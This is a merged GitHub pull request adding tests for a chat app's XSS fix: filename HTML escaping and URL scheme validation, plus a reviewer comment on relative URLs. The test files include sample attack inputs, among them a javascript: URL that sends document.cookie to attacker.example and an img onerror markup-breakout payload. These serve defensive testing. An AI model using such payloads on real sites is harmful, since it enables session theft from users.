-
Notifications
You must be signed in to change notification settings - Fork 3.7k
fix(chat): escape attachment filename and validate file URL scheme to prevent XSS #5028
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Merged
+124
−25
Merged
Changes from all commits
Commits
File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
58 changes: 58 additions & 0 deletions
58
apps/sim/app/chat/components/message/components/file-download.test.tsx
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,58 @@ | ||
| /** | ||
| * @vitest-environment jsdom | ||
| */ | ||
| import { describe, expect, it, vi } from 'vitest' | ||
|
|
||
| vi.mock('@/components/emcn', () => ({ | ||
| Button: () => null, | ||
| Download: () => null, | ||
| Loader: () => null, | ||
| })) | ||
|
|
||
| vi.mock('@/components/icons/document-icons', () => ({ | ||
| DefaultFileIcon: () => null, | ||
| getDocumentIcon: () => () => null, | ||
| })) | ||
|
|
||
| vi.mock('@/lib/core/config/env', () => ({ | ||
| env: {}, | ||
| getEnv: vi.fn(), | ||
| })) | ||
|
|
||
| vi.mock('@/lib/core/config/feature-flags', () => ({ | ||
| isProd: false, | ||
| })) | ||
|
|
||
| import { isSafeHttpUrl } from '@/app/chat/components/message/components/file-download' | ||
|
|
||
| describe('isSafeHttpUrl', () => { | ||
| it('allows absolute http(s) URLs', () => { | ||
| expect(isSafeHttpUrl('https://example.com/file.pdf')).toBe(true) | ||
| expect(isSafeHttpUrl('http://example.com/file.pdf')).toBe(true) | ||
| }) | ||
|
|
||
| it('allows same-origin relative URLs (resolved against the browser origin)', () => { | ||
| expect(isSafeHttpUrl('/api/files/serve/abc?context=execution')).toBe(true) | ||
| }) | ||
|
|
||
| it('rejects javascript: URLs', () => { | ||
| expect(isSafeHttpUrl("javascript:fetch('//attacker.example/c?'+document.cookie)")).toBe(false) | ||
| expect(isSafeHttpUrl('JavaScript:alert(1)')).toBe(false) | ||
| }) | ||
|
|
||
| it('rejects other script-capable or non-navigable schemes', () => { | ||
| expect(isSafeHttpUrl('data:text/html,<script>alert(1)</script>')).toBe(false) | ||
| expect(isSafeHttpUrl('vbscript:msgbox(1)')).toBe(false) | ||
| expect(isSafeHttpUrl('blob:https://example.com/uuid')).toBe(false) | ||
| expect(isSafeHttpUrl('file:///etc/passwd')).toBe(false) | ||
| }) | ||
|
|
||
| it('treats relative junk as same-origin http (safe) rather than throwing', () => { | ||
| expect(isSafeHttpUrl('')).toBe(true) | ||
| expect(isSafeHttpUrl('not a url')).toBe(true) | ||
| }) | ||
|
|
||
| it('rejects unparseable absolute input without throwing', () => { | ||
| expect(isSafeHttpUrl('http://')).toBe(false) | ||
| }) | ||
| }) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,43 @@ | ||
| /** | ||
| * @vitest-environment node | ||
| */ | ||
| import { describe, expect, it, vi } from 'vitest' | ||
|
|
||
| vi.mock('@/components/emcn', () => ({ | ||
| Duplicate: () => null, | ||
| Tooltip: {}, | ||
| })) | ||
|
|
||
| vi.mock('@/app/chat/components/message/components/file-download', () => ({ | ||
| ChatFileDownload: () => null, | ||
| ChatFileDownloadAll: () => null, | ||
| })) | ||
|
|
||
| vi.mock('@/app/chat/components/message/components/markdown-renderer', () => ({ | ||
| default: () => null, | ||
| })) | ||
|
|
||
| import { escapeHtml } from '@/app/chat/components/message/message' | ||
|
|
||
| describe('escapeHtml', () => { | ||
| it('escapes all five HTML-significant characters', () => { | ||
| expect(escapeHtml('&<>"\'')).toBe('&<>"'') | ||
| }) | ||
|
|
||
| it('neutralizes a markup-breakout filename payload', () => { | ||
| const payload = '</title><img src=x onerror=alert(document.origin)>' | ||
| const escaped = escapeHtml(payload) | ||
| expect(escaped).not.toContain('<img') | ||
| expect(escaped).not.toContain('</title>') | ||
| expect(escaped).toBe('</title><img src=x onerror=alert(document.origin)>') | ||
| }) | ||
|
|
||
| it('escapes ampersands first so entities are not double-broken', () => { | ||
| expect(escapeHtml('a & b < c')).toBe('a & b < c') | ||
| }) | ||
|
|
||
| it('leaves safe strings untouched', () => { | ||
| expect(escapeHtml('report-2026.pdf')).toBe('report-2026.pdf') | ||
| expect(escapeHtml('')).toBe('') | ||
| }) | ||
| }) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
isSafeHttpUrltreats any relative-like string as safeWhen
getBrowserOrigin()returns a value (as it does in the browser), strings like'','not a url', or even' 'resolve against the browser origin and come back with protocolhttp:orhttps:, so the function returnstrue. The calling site already guards against empty strings withif (file.url && ...), but a purely alphabetic or arbitrary non-URL string supplied by agent output (e.g."download") would pass validation and be handed towindow.open()as a relative path, navigating to<origin>/downloadin a new tab. This is harmless in isolation, but the function's contract advertises rejecting non-http(s) input, while the tests explicitly document the opposite. Consider adding an earlyif (!url.startsWith('http://') && !url.startsWith('https://') && !url.startsWith('/'))guard, or at minimum narrowing the test description so future maintainers understand the deliberate choice.